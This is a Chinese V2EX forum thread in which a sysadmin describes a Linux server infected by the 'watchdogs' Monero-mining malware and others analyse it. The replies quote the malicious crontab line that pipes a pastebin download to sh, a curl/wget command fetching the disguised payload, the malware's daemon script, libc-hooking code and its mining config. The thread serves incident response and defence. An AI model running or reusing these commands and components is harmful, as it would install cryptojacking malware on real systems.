Linux 被入侵了该怎么整,入侵者摆明了不怕你知道

2019-02-21 23:26:20 +08:00
 abcbuzhiming
今天一觉起来,被报告说有台 CentOS7.5 速度变的很卡。上去一看,没发现 CPU,内存占用有什么很异常的地方,随手敲 netstat -ntlp 准备看看端口占用是不是由异常,结果出现提示:-bash: /usr/bin/netstat: No such file or directory。啊?什么鬼。再一检查 /usr/bin/netstat 文件不存在,我还以为是被不小心删掉了,不管,yum reinstall net-tools 重装网络套件,结果这一装就露出马脚了,/usr/bin/netstat 文件在刚装好的时候是可以用的,几分钟之内,就不翼而飞了,反复几次后,我就明白有什么程序把它给自动删掉了。随后进一步检查发现,
crontab -l 查定时任务发现这样一行代码:绝对不是我设置的
*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
打开这个网址发现得到的是一串明显被加密过的字符串,无法进一步排查。删除这个信息,几分钟内会被重新添加。

现在,用 netstat -ntlp 查不出有异常端口,但是我个人怀疑 netstat 很可能已被某种手段屏蔽,证据就是它看不到占用 80 端口的 Nginx (我确定 Nginx 仍然在工作)的 PID(显示为 - ),lsof -i:80 同样失效,我猜测黑客(木马)是打算使用 80 端口的,但是 80 端口跑着 Nginx 导致没成功。机器上的 /usr/bin/netstat 每隔几分钟就被删除,计划任务里始终有那条自动执行请求,我删掉等一会就会自动添加。ps -ef 查不出有异常进程,CPU 和内存均无特别异常,就是系统响应速度慢。我该咋办,除了备份数据重装系统没办法了吗?头一次这么嚣张的 Linux 入侵
18505 次点击
所在节点    Linux
106 条回复
lvxiang119
2019-02-22 15:34:01 +08:00
我也遇到了相同的情况,病毒有点意思

首先会伪装成一张可执行的图片,执行完毕后的脚本如下

发现该图片是用 uxp 加壳的,想办法去壳,破解后发现了几个文件

其中 deamon 的脚本破解为

```
#! /bin/bash
#chkconfig: - 99 01
#description: watchdogs daemon
#processname: /usr/sbin/watchdogs
### BEGIN INIT INFO
# Provides: /user/sbin/watchdogs
# Required-Start:
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: watchdogs deamon
# Description: watchdogs deamon
### END INIT INFO

LocalPath="/usr/sbin/watchdogs"
name='watchdogs'
pid_file="/tmp/.lsdpid"
stdout_log="/var/log/$name.log"
stderr_log="/var/log/$name.err"
get_pid(){
cat "$pid_file"
}
is_running(){
[ -f "$pid_file" ] &&/usr/sbin/watchdogs -Pid $(get_pid) > /dev/null 2>&1
}
case "$1" in
start)
if is_running; then
echo "Already started"
else
echo "Starting $name"
$LocalPath >>"$stdout_log" 2>> "$stderr_log" &
echo $! > "$pid_file"
if ! is_running; then
echo "Unable to start, see$stdout_log and $stderr_log"
exit 1
fi
fi
;;
stop)
if is_running; then
echo -n "Stopping$name.."
kill $(get_pid)
for i in {1..10}
do
if ! is_running; then
break
fi
echo -n "."
sleep 1
done
echo
if is_running; then
echo "Not stopped; maystill be shutting down or shutdown may have failed"
exit 1
else
echo "Stopped"
if [ -f "$pid_file"]; then
rm "$pid_file"
fi
fi
else
echo "Not running"
fi
;;
restart)
$0 stop
if is_running; then
echo "Unable to stop, will notattempt to start"
exit 1
fi
$0 start
;;
status)
if is_running; then
echo "Running"
else
echo "Stopped"
exit 1
fi
;;
*)
echo "Usage: $0{start|stop|restart|status}"
exit 1
;;
esac
exit 0
```

劫持系统的 c++部分为

```

void *libc;

static void init (void) __attribute__ ((constructor));

static int (*old_access) (const char *path, int amode);
static int (*old_lxstat) (int ver, const char *file, struct stat * buf);
static int (*old_lxstat64) (int ver, const char *file, struct stat64 * buf);
static int (*old_open) (const char *pathname, int flags, mode_t mode);
static int (*old_rmdir) (const char *pathname);
static int (*old_unlink) (const char *pathname);
static int (*old_unlinkat) (int dirfd, const char *pathname, int flags);
static int (*old_xstat) (int ver, const char *path, struct stat * buf);
static int (*old_xstat64) (int ver, const char *path, struct stat64 * buf);
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}

char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}

buf[ret] = 0;
return 1;
}


...省略大量

```

还有一个挖坑的配置

```
{
"algo": "cryptonight",
"api": {
"port": 0,
"access-token": null,
"id": null,
"worker-id": null,
"ipv6": false,
"restricted": true
},
"asm": true,
"autosave": true,
"av": 0,
"background": false,
"colors": true,
"cpu-affinity": null,
"cpu-priority": null,
"donate-level": 0,
"huge-pages": true,
"hw-aes": null,
"log-file": null,
"max-cpu-usage": 100,
"pools": [
{
"url": "stratum+tcp://xmr.f2pool.com:13531",
"user": "46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava.teny",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"variant": -1,
"tls": false,
"tls-fingerprint": null
}
],
"print-time": 60,
"retries": 5,
"retry-pause": 5,
"safe": false,
"threads": null,
"user-agent": null,
"watch": false
}


```

发现是在挖门罗币。



为了获取更多的 CPU,这个病毒还会首先检测并杀死竞争对手。
abcbuzhiming
2019-02-22 15:47:00 +08:00
@lvxiang119 请问你是如何找到这张“图片”的?
no1xsyzy
2019-02-22 16:01:08 +08:00
no1xsyzy
2019-02-22 16:03:48 +08:00
@abcbuzhiming 就在 base64 -d 后的脚本里,URL 明明白白贴着,cURL 或者 wGet 到 /tmp/watchdogs
```
(curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
```
woyao
2019-02-22 16:05:27 +08:00
@linnil 装个 busybox
HangoX
2019-02-22 16:07:54 +08:00
楼主这样一说。。我觉得我的服务器用 vnc 输入账号密码无法登录上去可能是已经被攻击了。。。可是我上面只有一个服务。。我只能重装了
alvin666
2019-02-22 16:09:02 +08:00
MySQL 密码泄露可也不止脱裤这么简单,可以利用日志写入恶意脚本的

反正不管哪个服务,都不要开公网访问,iptables 直接 drop,一定要开的话就白名单,ssh 用秘钥 /fail2ban
lvxiang119
2019-02-22 16:13:35 +08:00
@abcbuzhiming 重点是把图片 通过 binwalk( https://github.com/ReFirmLabs/binwalk) 解压,内置
```
0.elf 挖坑核心 go 语言编写
21EC3A c++劫持函数
212D3A mine config
21565A watchdogs deamon

```
几个文件 0.elf 似乎要用 uxp 去壳。 但没能力反编译
1423
2019-02-22 16:33:15 +08:00
@17612729987 #26 https 的,云盾是怎么拿到 url 路径的呢
McDonald
2019-02-22 16:35:21 +08:00
上面所有方法都试了的人表示 1 楼正解
xiaomudou
2019-02-22 16:36:36 +08:00
@realpg
谢谢
linnil
2019-02-22 16:39:24 +08:00
@lvxiang119 哇,大佬啊,我只知道它劫持了系统库函数,但是不知道具体劫持了哪些,功力不足啊。
顺带问一下破坏了链接库,删除定时任务,开机自启之后,这个挖矿病毒算清理了么?
abcbuzhiming
2019-02-22 16:54:59 +08:00
@1423 https 不管域名解析,域名解析的 dns 协议可是明码的,怎么可能拿不到你的 url

另外各位,79 楼的是目前这个病毒的最权威描述,这个木马 hack 了大部分的系统命令,你直接用系统命令是看不到它的文件的,确实必须用 busybox
yaxin
2019-02-22 16:55:13 +08:00
只是删了`netstat`,用`ss`命令就行
yongxa
2019-02-22 17:03:48 +08:00
帮楼主找了一下,还是 redis 的问题,昨晚爆发的
yongxa
2019-02-22 17:04:58 +08:00
vjnjc
2019-02-22 17:55:33 +08:00
@viger 能透露一下 jenkins 的哪个插件有问题吗,我们昨天也经历了 jenkins 机器被攻击,简单粗暴地把它关了 0 0
lvxiang119
2019-02-22 17:58:36 +08:00
@linnil 可以使用 chattr -i /etc/cron.d/root 去锁,看看这个文件如果被写入了,就说明清除成功。 必须要确保清除掉 so 文件。
szlszl35622
2019-02-22 18:05:08 +08:00
又是把这个 pastebin.com 当传播介质。。。

我上次碰到挖矿脚本的时候,18/9/3。
也是通过这个 pastebin.com 来传播。
恰好也是针对 Redis 的。
当时一时兴起,流水账一样地记录了一半。
https://zsnmwy.net/300.html

不过当时没有这个牛。
szlszl35622
2019-02-22 18:07:24 +08:00
@szlszl35622 现在的自己有点傻,说话不利索。

当时的没有现在的这个厉害。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/537457

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX